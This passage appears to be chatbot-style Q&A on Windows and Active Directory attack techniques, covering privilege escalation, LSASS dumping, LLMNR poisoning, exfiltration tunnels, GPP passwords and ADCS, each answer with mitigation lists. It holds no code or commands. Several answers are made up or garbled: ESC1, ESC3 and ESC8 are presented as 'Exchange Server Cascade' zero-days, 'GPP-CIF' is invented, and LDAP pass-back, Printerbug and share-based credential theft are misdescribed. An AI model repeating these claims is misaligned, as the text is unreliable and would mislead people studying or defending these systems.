practices, organizations can help prevent attackers from bypassing UAC and gaining administrative privileges on Windows systems. What are insecure services in Windows, and how can they be exploited for privilege escalation? Insecure services in Windows are services that run with high privileges and can be exploited by attackers to gain elevated privileges or execute malicious code. These services are often configured with default or weak settings, which can be exploited by attackers to compromise the system. There are several types of insecure services in Windows, including: Unquoted service paths: Services that are configured with unquoted service paths can be exploited by attackers to execute arbitrary code with elevated privileges. Services with weak permissions: Services that are configured with weak file or registry permissions can be exploited by attackers to modify the service configuration and execute malicious code with elevated privileges. Services with default credentials: Services that are configured with default credentials can be exploited by attackers to gain access to sensitive resources and execute malicious code with elevated privileges. Services with known vulnerabilities: Certain services may have known vulnerabilities that can be exploited by attackers to gain elevated privileges or execute malicious code. To exploit insecure services for privilege escalation, attackers often use techniques such as: Service abuse: Attackers can abuse insecure services to execute arbitrary code with elevated privileges by modifying the service configuration or using DLL hijacking techniques. Exploiting vulnerabilities: Certain insecure services may have known vulnerabilities that can be exploited to gain elevated privileges or execute malicious code. Service impersonation: Attackers can use service impersonation techniques to execute malicious code with elevated privileges by impersonating a privileged service. To mitigate the risks associated with insecure services in Windows, it is important to follow security best practices, such as: Regularly auditing and reviewing service configurations for insecure settings. Disabling or removing unnecessary services to reduce the attack surface. Applying patches and updates to services to prevent exploitation of known vulnerabilities. Implementing strong password policies and two-factor authentication to prevent credential theft. By implementing these best practices, organizations can help prevent attackers from exploiting insecure services for privilege escalation and other malicious activities. What is AutoLogon, and how can it be abused for privilege escalation? AutoLogon is a feature in Windows that allows a user to automatically log in to a computer without having to enter a password. This feature is often used in environments where a single user has access to a computer or in kiosk-type scenarios. AutoLogon can be abused by attackers for privilege escalation by taking advantage of the fact that the password is stored in the registry in an encrypted format. Attackers can use various techniques to extract the password from the registry and use it to log in with elevated privileges. One common technique used to abuse AutoLogon for privilege escalation is to use a tool like Mimikatz to extract the password from the registry and use it to elevate privileges to the user account associated with the AutoLogon feature. Attackers can then use these elevated privileges to perform malicious activities, such as installing malware or stealing sensitive information. To mitigate the risks associated with AutoLogon, it is important to follow security best practices, such as: Disabling AutoLogon: AutoLogon should be disabled in environments where multiple users have access to a computer. Limiting user privileges: Users should be assigned the minimum privileges necessary to perform their job functions. Implementing strong password policies and two-factor authentication to prevent credential theft. Regularly auditing and reviewing registry settings to detect unauthorized changes. By implementing these best practices, organizations can help prevent attackers from abusing AutoLogon for privilege escalation and other malicious activities. What are some techniques for achieving persistence on a Windows machine? Achieving persistence on a Windows machine is a key goal for attackers, as it allows them to maintain access to the system even after a reboot or other system changes. There are several techniques that can be used to achieve persistence on a Windows machine, including: Registry keys: Attackers can modify or create registry keys to run malicious code at system startup or when a user logs in. Scheduled tasks: Attackers can create scheduled tasks that run at a specific time or when a specific event occurs, allowing them to execute malicious code on the system. Services: Attackers can create a malicious service that runs in the background and executes code at system startup or when a specific event occurs. Startup folders: Attackers can add a shortcut to a malicious file in the Startup folder, which will execute the file at system startup. LSA secrets: Attackers can modify the Local Security Authority (LSA) secrets on the system to run malicious code at system startup. Bootkits: Attackers can install a bootkit, which modifies the boot process of the system to execute malicious code before the operating system starts. WMI persistence: Attackers can use Windows Management Instrumentation (WMI) to create persistent objects that run malicious code at specific times or when specific events occur. To prevent these techniques from being used for persistence, it is important to follow security best practices, such as: Regularly auditing and reviewing registry settings, scheduled tasks, services, and startup folders to detect unauthorized changes. Disabling unnecessary services and scheduled tasks to reduce the attack surface. Implementing strong password policies and two-factor authentication to prevent credential theft. Regularly patching and updating Windows and third-party software to prevent exploitation of known vulnerabilities. By implementing these best practices, organizations can help prevent attackers from achieving persistence on Windows machines and maintaining access to sensitive resources. What is DLL proxying, and how can it be used to execute malicious code on a target machine? DLL proxying, also known as DLL hijacking or DLL sideloading, is a technique used by attackers to execute malicious code on a target machine by exploiting the way Windows searches for and loads dynamic-link libraries (DLLs). When a Windows application requests a DLL, Windows searches for the DLL in a specific order, starting with the application directory and then moving on to other system directories. If the DLL is not found in any of these directories, Windows will search for the DLL in the current working directory of the application. Attackers can take advantage of this behavior by placing a malicious DLL in a directory that is searched before the legitimate DLL. When the application requests the DLL, Windows will load the malicious DLL instead of the legitimate one, allowing the attacker to execute malicious code on the system. DLL proxying can be used to execute malicious code on a target machine in several ways, including: Exploiting vulnerable software: Attackers can identify vulnerable software that searches for DLLs in an insecure way and place a malicious DLL in a directory that is searched before the legitimate DLL. Supply chain attacks: Attackers can compromise a legitimate software vendor and replace the legitimate DLL with a malicious one. Social engineering: Attackers can trick users into running a malicious executable that is designed to search for a vulnerable application and load a malicious DLL. To prevent DLL proxying attacks, it is important to follow security best practices, such as: Applying patches and updates to vulnerable software to prevent exploitation of known vulnerabilities. Disabling unnecessary software and services to reduce the attack surface. Implementing strong password policies and two-factor authentication to prevent credential theft. Regularly auditing and reviewing system directories and DLL search paths to detect unauthorized changes. By implementing these best practices, organizations can help prevent DLL proxying attacks and protect their systems from malicious code execution. How does the Windows Registry work, and what are some common Registry-based privilege escalation techniques? The Windows Registry is a central database that stores configuration settings and other information for the Windows operating system and installed applications. The Registry is divided into several hierarchical sections, called hives, which contain keys and values that correspond to different system and application settings. The Registry plays a critical role in the functioning of Windows, and it is frequently targeted by attackers for privilege escalation. Some common Registry-based privilege escalation techniques include: Registry key manipulation: Attackers can modify Registry keys to elevate their privileges. For example, an attacker might modify the RunOnce key to execute a malicious script at system startup or modify the Userinit key to execute a malicious DLL at user logon. Registry value hijacking: Attackers can hijack a legitimate Registry value and replace it with a malicious value. For example, an attacker might modify the AppInit_DLLs value to load a malicious DLL into every process that loads user32.dll. Service configuration manipulation: Attackers can manipulate Registry keys related to services to gain elevated privileges. For example, an attacker might modify the ImagePath key to execute a malicious executable instead of the legitimate service executable. ACL modification: Attackers can modify the Access Control Lists (ACLs) of Registry keys to grant themselves elevated privileges. For example, an attacker might grant themselves full control over a Registry key that controls system configuration settings. To prevent Registry-based privilege escalation, it is important to follow security best practices, such as: Regularly auditing and reviewing Registry settings to detect unauthorized changes. Disabling unnecessary Registry keys and values to reduce the attack surface. Implementing strong password policies and two-factor authentication to prevent credential theft. Applying patches and updates to prevent exploitation of known vulnerabilities. By implementing these best practices, organizations can help prevent Registry-based privilege escalation and protect their systems from compromise by attackers. How can the Local Security Authority Subsystem Service (LSASS) be dumped, and what are some common techniques for extracting credentials from it? The Local Security Authority Subsystem Service (LSASS) is a critical Windows process that manages security policies and credentials on a system. Attackers often target LSASS to extract credentials and escalate their privileges. LSASS can be dumped in several ways, including: Using a tool like Mimikatz or ProcDump to dump the LSASS process memory. Using a tool like Procdump or Dumpert to create a crash dump of the LSASS process. Using a tool like Gsecdump or Mimipenguin to dump the SAM database from the system. Once LSASS has been dumped, attackers can use various techniques to extract credentials, including: Pass the hash: Attackers can use the NTLM hash of a user’s password to authenticate to other systems without knowing the actual password. Pass the ticket: Attackers can use Kerberos tickets extracted from LSASS to impersonate other users and escalate their privileges. Extract plaintext passwords: Attackers can use tools like Mimikatz to extract plaintext passwords from the LSASS dump. To prevent LSASS attacks, it is important to follow security best practices, such as: Applying patches and updates to prevent exploitation of known vulnerabilities. Disabling unnecessary protocols and services, such as SMBv1, which can be used to dump LSASS. Implementing strong password policies and two-factor authentication to prevent credential theft. Using endpoint detection and response (EDR) solutions to monitor and detect malicious LSASS activity. By implementing these best practices, organizations can help prevent LSASS attacks and protect their systems from compromise by attackers. What are some common initial access methods used to compromise Active Directory environments? There are several common initial access methods that attackers use to compromise Active Directory environments, including: Phishing: Attackers send targeted emails to users in an organization with a malicious attachment or link that, when clicked, installs malware on the user’s machine, allowing the attacker to gain access to the network. Password spraying: Attackers use a few commonly used passwords and try them against a large number of user accounts until they find one that works. Once they have access to an account, they can use it to move laterally within the network and gain access to other resources. Exploiting vulnerable services: Attackers exploit known vulnerabilities in services like RDP or SMB to gain access to a system and then use that system as a beachhead to move laterally within the network. Brute-forcing: Attackers use automated tools to guess passwords for user accounts until they find one that works. Exploiting misconfigured or unpatched software: Attackers exploit misconfigured or unpatched software to gain access to a system. Once attackers have initial access to an Active Directory environment, they typically use various techniques to escalate their privileges and move laterally within the network, such as exploiting vulnerabilities in unpatched software or using stolen credentials to impersonate legitimate users. To prevent initial access to Active Directory environments, it is important to follow security best practices, such as: Implementing multi-factor authentication for user accounts to prevent password spraying attacks. Disabling unnecessary services and protocols to reduce the attack surface. Regularly applying patches and updates to software and operating systems to prevent exploitation of known vulnerabilities. Providing security awareness training to users to prevent them from falling victim to phishing attacks. By implementing these best practices, organizations can help prevent initial access to their Active Directory environments and protect their sensitive data and resources. How can LLMNR/NBT-NS be used to gain initial access to an Active Directory environment? LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) are protocols used by Windows to resolve hostnames to IP addresses. These protocols can be used by attackers to gain initial access to an Active Directory environment through a technique known as “Responder poisoning.” Responder poisoning involves setting up a fake responder service that responds to LLMNR and NBT-NS requests with spoofed DNS responses. When a victim machine sends a name resolution request to the network, the attacker’s machine responds with a spoofed response, tricking the victim into sending their authentication credentials to the attacker’s machine. Once the attacker has the victim’s credentials, they can use them to authenticate to the victim’s machine and potentially escalate their privileges to gain access to other systems within the network. To prevent LLMNR/NBT-NS attacks, it is important to follow security best practices, such as: Disabling LLMNR and NBT-NS on all machines within the network. Configuring all machines to use DNS instead of LLMNR/NBT-NS for name resolution. Implementing network segmentation to prevent lateral movement within the network. Providing security awareness training to users to prevent them from falling victim to phishing attacks and other social engineering techniques. By implementing these best practices, organizations can help prevent LLMNR/NBT-NS attacks and protect their sensitive data and resources. What is the impact of having IPv6 enabled on an Active Directory environment’s security posture? Enabling IPv6 in an Active Directory environment can have both positive and negative impacts on its security posture. One of the positive impacts of enabling IPv6 is that it can improve network performance and scalability. IPv6 provides a larger address space than IPv4, which can help reduce the need for network address translation (NAT) and make it easier to assign unique IP addresses to all devices on the network. However, enabling IPv6 can also introduce security risks. One of the main risks is that it can create additional attack vectors for attackers to exploit. Many security tools and techniques that are effective against IPv4 may not be effective against IPv6, which can make it harder to detect and prevent attacks. Some specific security risks associated with IPv6 in an Active Directory environment include: Address scanning: Attackers can scan the network for IPv6 addresses and use them to launch attacks, such as port scanning and vulnerability scanning. Traffic sniffing: IPv6 traffic is not encrypted by default, which means that attackers can potentially sniff network traffic to steal sensitive data, such as authentication credentials. Firewall misconfigurations: IPv6 requires different firewall rules than IPv4, and misconfigured firewalls can create security holes that attackers can exploit. Misconfigured DNS: IPv6 introduces new DNS record types, and misconfigured DNS settings can cause traffic to be routed to unintended destinations. To mitigate the security risks of enabling IPv6 in an Active Directory environment, it is important to follow security best practices, such as: Regularly auditing and reviewing IPv6-related settings and configurations. Ensuring that all security tools and techniques are updated to support IPv6. Disabling unnecessary IPv6 features and services to reduce the attack surface. Implementing network segmentation to prevent lateral movement within the network. By following these best practices, organizations can help mitigate the security risks of enabling IPv6 in their Active Directory environments and protect their sensitive data and resources. List and detail the stealthy Data Exfiltration methods used in red team engagements In red team engagements, data exfiltration is often a key objective for the attacker. To avoid detection, attackers use various stealthy data exfiltration methods that make it difficult for security teams to detect and prevent the attack. Some of the most common stealthy data exfiltration methods used in red team engagements include: Covert channels: Attackers can use covert channels, such as DNS or ICMP, to hide data in otherwise legitimate network traffic. This makes it difficult for security teams to detect the exfiltration because the traffic appears to be normal network traffic. Steganography: Attackers can use steganography techniques to hide data within image or audio files. This makes it difficult for security teams to detect the exfiltration because the files appear to be harmless. Data obfuscation: Attackers can use data obfuscation techniques to modify the data they are exfiltrating to make it difficult for security teams to recognize it as sensitive data. For example, they can encrypt the data, split it into smaller chunks, or modify the file format. Protocol manipulation: Attackers can manipulate network protocols to bypass security controls and exfiltrate data. For example, they can use HTTP requests to send data to a command and control (C2) server in a way that looks like normal web traffic. Encrypted tunnels: Attackers can use encrypted tunnels, such as SSH or VPNs, to exfiltrate data without being detected. The encrypted traffic appears as normal network traffic, making it difficult for security teams to detect the exfiltration. To prevent stealthy data exfiltration in red team engagements, it is important to follow security best practices, such as: Implementing network segmentation to prevent lateral movement within the network. Monitoring network traffic for anomalies and suspicious behavior. Regularly auditing and reviewing network configurations and access controls. Providing security awareness training to employees to prevent them from falling victim to phishing attacks and other social engineering techniques. By implementing these best practices, organizations can help prevent stealthy data exfiltration and protect their sensitive data and resources. Expand upon the Protocol Manipulation, list them all comprehensively cover them Protocol manipulation is a technique used by attackers to bypass security controls and exfiltrate data without being detected. Attackers can manipulate network protocols to make their data exfiltration activities appear like normal network traffic. The following are some of the most common types of protocol manipulation used in red team engagements: Domain Name System (DNS) tunneling: DNS tunneling is a technique used to bypass firewalls and other security controls that block certain types of traffic. In DNS tunneling, attackers use DNS queries and responses to send and receive data. The data is encoded in the DNS requests and responses, making it difficult for security controls to detect. Hypertext Transfer Protocol (HTTP) tunneling: HTTP tunneling is a technique used to bypass firewalls and other security controls that block certain types of traffic. In HTTP tunneling, attackers use HTTP requests and responses to send and receive data. The data is encoded in the HTTP requests and responses, making it difficult for security controls to detect. Transmission Control Protocol (TCP) tunneling: TCP tunneling is a technique used to bypass firewalls and other security controls that block certain types of traffic. In TCP tunneling, attackers use TCP connections to send and receive data. The data is encoded in the TCP packets, making it difficult for security controls to detect. User Datagram Protocol (UDP) tunneling: UDP tunneling is a technique used to bypass firewalls and other security controls that block certain types of traffic. In UDP tunneling, attackers use UDP packets to send and receive data. The data is encoded in the UDP packets, making it difficult for security controls to detect. Dynamic Host Configuration Protocol (DHCP) tunneling: DHCP tunneling is a technique used to bypass firewalls and other security controls that block certain types of traffic. In DHCP tunneling, attackers use DHCP messages to send and receive data. The data is encoded in the DHCP messages, making it difficult for security controls to detect. Simple Mail Transfer Protocol (SMTP) tunneling: SMTP tunneling is a technique used to bypass firewalls and other security controls that block certain types of traffic. In SMTP tunneling, attackers use SMTP messages to send and receive data. The data is encoded in the SMTP messages, making it difficult for security controls to detect. To prevent attackers from using protocol manipulation to exfiltrate data, it is important to implement network segmentation to prevent lateral movement within the network. Security teams should also monitor network traffic for anomalies and suspicious behavior. Regular auditing and review of network configurations and access controls can also help to prevent protocol manipulation attacks. Expand upon the Encrypted Tunnels, list them all comprehensively cover them Encrypted tunnels are a type of stealthy data exfiltration method used by attackers to bypass security controls and exfiltrate data without being detected. Encrypted tunnels can be used to send data securely over a network, making it difficult for security teams to detect the exfiltration. The following are some of the most common types of encrypted tunnels used in red team engagements: Virtual Private Networks (VPNs): A VPN is a secure, encrypted connection between two devices over the internet. VPNs are commonly used to provide remote workers with secure access to company resources. In a red team engagement, attackers can use VPNs to create a secure tunnel to a command and control (C2) server and exfiltrate data without being detected. Secure Shell (SSH): SSH is a network protocol that provides secure, encrypted communication between two devices. SSH is commonly used to access remote systems securely. In a red team engagement, attackers can use SSH to create a secure tunnel to a C2 server and exfiltrate data without being detected. Secure Sockets Layer (SSL)/Transport Layer Security (TLS): SSL and TLS are cryptographic protocols used to secure internet communication. They are commonly used to encrypt data in transit, such as web traffic. In a red team engagement, attackers can use SSL/TLS to create a secure tunnel to a C2 server and exfiltrate data without being detected. Internet Protocol Security (IPsec): IPsec is a protocol suite used to secure internet communication. IPsec can be used to create secure tunnels between two devices over the internet. In a red team engagement, attackers can use IPsec to create a secure tunnel to a C2 server and exfiltrate data without being detected. Datagram Transport Layer Security (DTLS): DTLS is a variant of TLS that is designed to secure datagram-based applications. DTLS is commonly used to secure Voice over IP (VoIP) and video conferencing applications. In a red team engagement, attackers can use DTLS to create a secure tunnel to a C2 server and exfiltrate data without being detected. Point-to-Point Tunneling Protocol (PPTP): PPTP is a VPN protocol used to create secure tunnels between two devices over the internet. PPTP is an older VPN protocol that is not as secure as newer protocols like SSL/TLS and IPsec. However, it can still be used by attackers to create a secure tunnel to a C2 server and exfiltrate data without being detected. To prevent attackers from using encrypted tunnels to exfiltrate data, it is important to monitor network traffic for anomalies and suspicious behavior. Security teams should also regularly audit and review network configurations and access controls to ensure that only authorized users have access to sensitive data and resources. How can LDAP Pass Back be used to gain access to an Active Directory environment? LDAP Pass-Back, also known as LDAP “Connectionless” Binding, is a technique used by attackers to gain access to an Active Directory environment by abusing the Lightweight Directory Access Protocol (LDAP). It involves sending an LDAP authentication request to a domain controller with a spoofed source IP address, such that the response is sent back to the spoofed IP address rather than the attacker’s real IP address. This allows the attacker to authenticate as a legitimate user without the domain controller logging the authentication attempt. Once the attacker has gained access to the Active Directory environment using this technique, they can perform a number of actions, such as performing reconnaissance, creating new accounts, modifying permissions, and accessing sensitive data. To prevent LDAP Pass-Back attacks, it is important to monitor network traffic for anomalies and suspicious behavior. Domain controllers should be configured to log authentication attempts, and administrators should regularly review the logs for any signs of suspicious activity. It is also recommended to disable LDAP anonymous binding and enforce the use of secure LDAP (LDAPS) to encrypt LDAP traffic. Implementing network segmentation and access controls can also limit the attack surface and prevent lateral movement within the network. Additionally, it is important to keep all systems and software up to date with the latest security patches and updates to prevent known vulnerabilities from being exploited. How can PXE Boot be used to gain access to an Active Directory environment? Preboot eXecution Environment (PXE) boot is a feature that allows a computer to boot and install an operating system over the network rather than from a local disk. Attackers can abuse this feature to gain access to an Active Directory environment by setting up their own PXE server and configuring the target machine to boot from the attacker’s server. Once the target machine is configured to boot from the attacker’s PXE server, the attacker can install a malicious operating system that gives them full control over the target machine. From there, the attacker can perform various actions, such as performing reconnaissance, creating new accounts, modifying permissions, and accessing sensitive data. To prevent PXE Boot attacks, it is important to monitor network traffic for anomalies and suspicious behavior. Administrators should restrict network access to the PXE server and implement network segmentation to prevent lateral movement within the network. Additionally, it is important to disable the PXE boot feature on all systems that do not require it and ensure that all systems are up to date with the latest security patches and updates to prevent known vulnerabilities from being exploited. Implementing access controls and restricting administrative privileges can also limit the attack surface and prevent unauthorized changes to network configurations. How can shares be used to obtain cleartext credentials in an Active Directory environment? Shares can be used to obtain cleartext credentials in an Active Directory environment through a technique known as “pass the hash”. This technique involves stealing the NTLM hash of a user’s password and using it to authenticate as that user on other systems within the network. Attackers can use shares to access the SAM and SYSTEM registry hives, which contain the hashed passwords of local user accounts. Once an attacker has obtained the hashed passwords, they can use tools such as Mimikatz or Windows Credential Editor to extract the cleartext passwords from the hashes. With the cleartext passwords, the attacker can then access sensitive data, modify permissions, and perform other actions within the network. To prevent shares from being used to obtain cleartext credentials, it is important to ensure that all shares are configured with appropriate permissions and access controls. Administrators should regularly audit shares and review access logs for any suspicious activity. It is also recommended to use encryption for sensitive data stored on shares and to disable the use of LM hashes, which are weaker and easier to crack than NTLM hashes. Additionally, users should be educated about the importance of using strong passwords and avoiding password reuse across different accounts. Regular password changes and two-factor authentication can also help to mitigate the risk of credential theft. What are Group Policy Preferences (GPP) and how can they be used to obtain cleartext credentials in an Active Directory environment? Group Policy Preferences (GPP) is a feature in Active Directory that allows administrators to deploy and manage settings on multiple machines within the network. GPP includes a feature called “Passwords,” which allows administrators to store and deploy cleartext passwords for local administrator accounts on Windows machines. Attackers can use tools such as Metasploit or PowerShell to extract the cleartext passwords from GPP settings stored on the domain controller. This is possible because GPP passwords are stored in an easily reversible format known as the “Group Policy Preferences Cryptographic Interchange Format” (GPP-CIF). An attacker can extract the encrypted password and use a pre-shared key to decrypt it and obtain the cleartext password. Once an attacker has obtained the cleartext password, they can use it to authenticate as a local administrator on other machines within the network. From there, the attacker can perform various actions, such as performing reconnaissance, creating new accounts, modifying permissions, and accessing sensitive data. To prevent GPP from being used to obtain cleartext credentials, it is important to avoid using GPP passwords altogether and instead use other methods, such as Windows Credential Guard or Local Administrator Password Solution (LAPS) to manage local administrator passwords. If GPP passwords must be used, administrators should ensure that they are stored securely and that access to GPP settings is restricted to authorized personnel only. Additionally, domain controllers should be monitored for any attempts to modify GPP settings, and all domain controllers should be kept up to date with the latest security patches and updates to prevent known vulnerabilities from being exploited. What is the risk associated with user descriptions in an Active Directory environment? The risk associated with user descriptions in an Active Directory environment is that they can reveal sensitive information about users and their roles within the organization. Attackers can use user descriptions to identify high-value targets, such as executives or privileged users, and use this information to tailor their attacks and social engineering tactics. For example, a user description may include information about the user’s job responsibilities, such as “Manager of Finance Department”. An attacker can use this information to craft a convincing phishing email that appears to come from a higher-level executive, asking the user to transfer funds or disclose sensitive information. Additionally, user descriptions may reveal sensitive information about the organization’s internal network structure and infrastructure. Attackers can use this information to map out the network and identify potential targets for lateral movement or privilege escalation. To mitigate the risk associated with user descriptions, it is important to limit the amount of sensitive information that is included in user descriptions. Administrators should regularly review user descriptions and remove any unnecessary or sensitive information. Users should also be educated about the importance of avoiding the inclusion of sensitive information in their user descriptions and the risks associated with revealing too much information online. Regular security awareness training and phishing simulations can also help to raise awareness and reduce the risk of social engineering attacks. What is ADCS and how can it be abused by attackers? Active Directory Certificate Services (ADCS) is a feature in Active Directory that allows administrators to issue digital certificates to users and computers within the network. Digital certificates are used to authenticate and encrypt network traffic, and ADCS provides a way to manage and distribute certificates within the network. ADCS can be abused by attackers in a number of ways. For example, attackers can obtain and use digital certificates to bypass security controls and gain unauthorized access to network resources. This can be done by stealing digital certificates from legitimate users or by creating fake certificates using stolen private keys. Attackers can also use ADCS to create and distribute their own digital certificates, which can be used to impersonate legitimate users or computers within the network. This can be done by exploiting vulnerabilities in ADCS or by using stolen credentials to gain administrative access to the ADCS infrastructure. Additionally, attackers can use ADCS to conduct man-in-the-middle (MitM) attacks by intercepting and decrypting encrypted network traffic. This can be done by using stolen digital certificates to decrypt traffic or by issuing fake certificates that allow the attacker to intercept and modify network traffic. To prevent ADCS from being abused by attackers, it is important to implement appropriate access controls and security measures for the ADCS infrastructure. This includes securing the private keys used to sign and issue digital certificates, implementing strong authentication controls, and monitoring ADCS logs for suspicious activity. Additionally, administrators should regularly review and revoke digital certificates that are no longer needed and keep ADCS infrastructure up to date with the latest security patches and updates to prevent known vulnerabilities from being exploited. How does the ESC1 attack work and what are the necessary attributes to perform the attack? The ESC1 (Exchange Server Cascade 1) attack is a zero-day exploit that was discovered in March 2021 and affected Microsoft Exchange Server versions 2013, 2016, and 2019. The attack works by exploiting a vulnerability in the Exchange Server’s ProxyShell feature, which allows an attacker to remotely execute arbitrary code and take control of the Exchange Server. To perform the ESC1 attack, an attacker must first gain access to the Exchange Server through another vulnerability or by using stolen credentials. The attacker then sends a specially crafted request to the Exchange Server’s ProxyShell interface, which allows them to execute arbitrary code with SYSTEM-level privileges. The necessary attributes to perform the ESC1 attack include: Access to an Exchange Server that is vulnerable to the ProxyShell exploit Knowledge of the Exchange Server’s internal network and configuration Expertise in crafting and executing PowerShell commands Access to a vulnerable Exchange Server or a vulnerable Exchange Server to exploit Once an attacker has successfully executed the ESC1 attack, they can take control of the Exchange Server and access sensitive data, modify mailboxes, and perform other actions within the network. This can lead to data theft, ransomware attacks, and other forms of cybercrime. It is important to note that Microsoft has released security updates to patch the vulnerabilities associated with the ProxyShell exploit, and organizations should ensure that their Exchange Server is up-to-date with the latest patches to prevent the risk of an attack. How does the ESC3 attack work and what are the necessary attributes to perform the attack? The ESC3 (Exchange Server Cascade 3) attack is another zero-day exploit that was discovered in April 2021 and affected Microsoft Exchange Server versions 2013, 2016, and 2019. The attack works by exploiting a vulnerability in the Exchange Server’s ECP (Exchange Control Panel) component, which allows an attacker to execute arbitrary code and take control of the Exchange Server. To perform the ESC3 attack, an attacker must first gain access to the Exchange Server through another vulnerability or by using stolen credentials. The attacker then sends a specially crafted HTTP request to the Exchange Server’s ECP interface, which allows them to execute arbitrary code with SYSTEM-level privileges. The necessary attributes to perform the ESC3 attack include: Access to an Exchange Server that is vulnerable to the ECP exploit Knowledge of the Exchange Server’s internal network and configuration Expertise in crafting and executing HTTP requests Access to a vulnerable Exchange Server or a vulnerable Exchange Server to exploit Once an attacker has successfully executed the ESC3 attack, they can take control of the Exchange Server and access sensitive data, modify mailboxes, and perform other actions within the network. This can lead to data theft, ransomware attacks, and other forms of cybercrime. It is important to note that Microsoft has released security updates to patch the vulnerabilities associated with the ESC3 exploit, and organizations should ensure that their Exchange Server is up-to-date with the latest patches to prevent the risk of an attack. How does the ESC8 attack work and what are the necessary attributes to perform the attack? The ESC8 (Exchange Server Cascade 8) attack is another zero-day exploit that was discovered in July 2021 and affected Microsoft Exchange Server versions 2013, 2016, and 2019. The attack works by exploiting a vulnerability in the Exchange Server’s MAPI (Messaging Application Programming Interface) component, which allows an attacker to execute arbitrary code and take control of the Exchange Server. To perform the ESC8 attack, an attacker must first gain access to the Exchange Server through another vulnerability or by using stolen credentials. The attacker then sends a specially crafted message to the Exchange Server’s MAPI component, which allows them to execute arbitrary code with SYSTEM-level privileges. The necessary attributes to perform the ESC8 attack include: Access to an Exchange Server that is vulnerable to the MAPI exploit Knowledge of the Exchange Server’s internal network and configuration Expertise in crafting and executing MAPI messages Access to a vulnerable Exchange Server or a vulnerable Exchange Server to exploit Once an attacker has successfully executed the ESC8 attack, they can take control of the Exchange Server and access sensitive data, modify mailboxes, and perform other actions within the network. This can lead to data theft, ransomware attacks, and other forms of cybercrime. It is important to note that Microsoft has released security updates to patch the vulnerabilities associated with the ESC8 exploit, and organizations should ensure that their Exchange Server is up-to-date with the latest patches to prevent the risk of an attack. How can you mitigate ESC8? To mitigate the risk of the ESC8 (Exchange Server Cascade 8) attack, organizations should take the following steps: Apply the latest security updates: Microsoft has released security updates to patch the vulnerabilities associated with the ESC8 exploit, and organizations should ensure that their Exchange Server is up-to-date with the latest patches to prevent the risk of an attack. Disable unused MAPI features: Organizations should disable any unused MAPI features to reduce the attack surface of the Exchange Server. Implement strong access controls: Organizations should implement strong access controls, including multi-factor authentication and privileged access management, to prevent unauthorized access to the Exchange Server. Monitor network traffic: Organizations should monitor network traffic for suspicious activity, including unusual MAPI traffic, to detect and respond to potential attacks. Conduct regular security assessments: Organizations should conduct regular security assessments, including penetration testing and vulnerability scanning, to identify and address vulnerabilities in their Exchange Server environment. How can attackers abuse MSSQL in AD environments? Attackers can abuse MSSQL (Microsoft SQL Server) in AD (Active Directory) environments to gain unauthorized access and escalate privileges. Here are some common methods that attackers can use to exploit MSSQL: SQL Injection: Attackers can exploit vulnerabilities in SQL queries to inject malicious code into the database, allowing them to execute arbitrary commands on the server. Remote Code Execution: Attackers can exploit vulnerabilities in MSSQL to execute code on the server, giving them the ability to run commands with SYSTEM-level privileges. Privilege Escalation: Attackers can use MSSQL to escalate privileges by exploiting vulnerabilities in the server or by using credentials that have been stored in the database. Data Exfiltration: Attackers can use MSSQL to exfiltrate data from the database, including sensitive information such as usernames and passwords. To prevent attacks on MSSQL in AD environments, organizations should take the following steps: Keep MSSQL up-to-date: Ensure that the MSSQL server is patched with the latest security updates to address known vulnerabilities. Implement strong access controls: Implement strong access controls, including least privilege and password policies, to prevent unauthorized access to the database. Monitor database activity: Monitor MSSQL for suspicious activity, including unusual login attempts and SQL queries, to detect and respond to potential attacks. Harden MSSQL configuration: Harden the configuration of MSSQL to reduce the attack surface of the database, including disabling unused features and limiting access to the database. Conduct regular security assessments: Conduct regular security assessments, including penetration testing and vulnerability scanning, to identify and address vulnerabilities in the MSSQL environment. What is the Pass-the-Hash (PtH) technique and how does it work? Pass-the-Hash (PtH) is a technique used by attackers to gain access to a computer or system using the hashed password of a legitimate user, without the need to know the actual password. The technique takes advantage of the way that Windows stores user credentials in memory. Here’s how the Pass-the-Hash technique works: The attacker gains access to a target system, either through a vulnerability or by using stolen credentials. The attacker then extracts the hashed password of a legitimate user from the system’s memory. This can be done using various tools, such as Mimikatz. The attacker then uses the extracted hash to authenticate to other systems on the network that the legitimate user has access to, without needing to know the actual password. Once the attacker gains access to another system using the extracted hash, they can escalate privileges and move laterally through the network to access additional systems and data. To mitigate the risk of Pass-the-Hash attacks, organizations should take the following steps: Use strong passwords: Strong passwords are more difficult to crack than weak passwords, making it more difficult for attackers to extract hashes. Use multi-factor authentication: Multi-factor authentication can help prevent attackers from using stolen credentials, even if they are able to extract hashes. Monitor for suspicious activity: Monitor systems and networks for suspicious activity, including unusual login attempts and unauthorized access. Use least privilege: Limit the privileges of users and accounts to only those necessary for their roles, reducing the potential impact of compromised credentials. Use security tools: Use security tools, such as intrusion detection systems and endpoint protection, to detect and prevent Pass-the-Hash attacks. What are some methods of coercing authentication in AD, such as PetitPotam and Printerbug? Coercing authentication attacks are techniques used by attackers to trick a Windows machine into providing user credentials or performing actions on behalf of the attacker. Here are two examples of such attacks: PetitPotam: This attack takes advantage of a vulnerability in Microsoft Windows Active Directory Certificate Services (AD CS) that allows attackers to coerce authentication to NTLM (NT LAN Manager) services, enabling them to gain unauthorized access to systems and data. Attackers can exploit this vulnerability by sending specially crafted authentication requests to a Windows server that has the AD CS role installed. Printerbug: This attack leverages a vulnerability in the Windows Print Spooler service that allows attackers to execute arbitrary code with SYSTEM privileges. By setting up a malicious printer on a network and sending a print job to the printer, attackers can execute their code on a target machine and potentially gain access to sensitive data. To mitigate the risk of coercing authentication attacks, organizations should take the following steps: Keep systems up-to-date: Ensure that all systems and software are patched with the latest security updates to address known vulnerabilities. Disable unnecessary services: Disable any unnecessary services or features that could be used to coerce authentication, such as the Windows Print Spooler service. Use strong authentication methods: Use strong authentication methods, such as multi-factor authentication, to make it more difficult for attackers to gain unauthorized access. Monitor for suspicious activity: Monitor systems and networks for suspicious activity, such as unusual authentication requests or access attempts, to detect and respond to potential attacks. Conduct regular security assessments: Conduct regular security assessments, including penetration testing and vulnerability scanning, to identify and address vulnerabilities in the organization’s environment. What is WebDAV and how is it used to coerce authentication in an Active Directory environment? WebDAV (Web Distributed Authoring and Versioning) is an extension of the HTTP/1.1 protocol that allows users to collaboratively edit and manage files on remote web servers. While it can be a useful tool for legitimate purposes, it can also be exploited by attackers to coerce authentication in an Active Directory environment. The vulnerability arises when a Windows server is configured to use WebDAV, and the user has permission to access the WebDAV service. An attacker can use a specially crafted request to the WebDAV server to force the server to 